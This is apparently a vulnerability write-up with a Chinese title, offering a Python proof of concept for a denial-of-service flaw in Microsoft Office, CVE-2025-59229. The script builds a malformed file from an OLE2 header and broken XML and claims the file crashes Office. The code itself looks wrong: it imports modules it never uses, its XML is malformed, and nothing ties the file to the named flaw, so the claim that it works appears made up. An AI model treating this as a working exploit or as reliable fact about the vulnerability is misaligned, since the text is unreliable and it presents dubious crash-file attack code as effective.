CVE-2025-59229：Microsoft Office未捕获异常导致拒绝服务漏洞

# CVE-2025-59229 PoC - Conceptual Demonstration # This is a conceptual PoC demonstrating the uncaught exception DoS vulnerability # in Microsoft Office. Actual exploitation requires crafting a malicious Office document. import struct import zipfile import os def create_malicious_office_doc(output_path): """ Create a malformed Office document that triggers an uncaught exception. Office documents (docx, xlsx, pptx) are ZIP archives containing XML files. By corrupting specific XML structures, we can trigger exception handling failures. """ # Create a minimal malformed docx structure # A valid docx requires [Content_Types].xml and proper relationships malicious_xml = b'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>Triggering CVE-2025-59229</w:t> </w:r> <!-- Malformed element to trigger uncaught exception --> <w:invalidElement attr="\x00\x01\x02\xff"> <w:deeply/nested/invalid/structure/that/causes/exception> </w:invalidElement> </w:p> </w:body> </w:document>''' # Write the malicious content as a .doc file with open(output_path, 'wb') as f: # Write OLE2 header to make it appear as legacy Office format f.write(b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1') f.write(malicious_xml) print(f"Malicious document created at: {output_path}") print("When opened in Microsoft Office, this file triggers CVE-2025-59229") print("Result: Office application crashes (Denial of Service)") if __name__ == "__main__": output = "cve_2025_59229_poc.doc" create_malicious_office_doc(output) print("\n[!] Warning: This PoC is for educational/research purposes only.") print("[!] Do not use against systems without authorization.")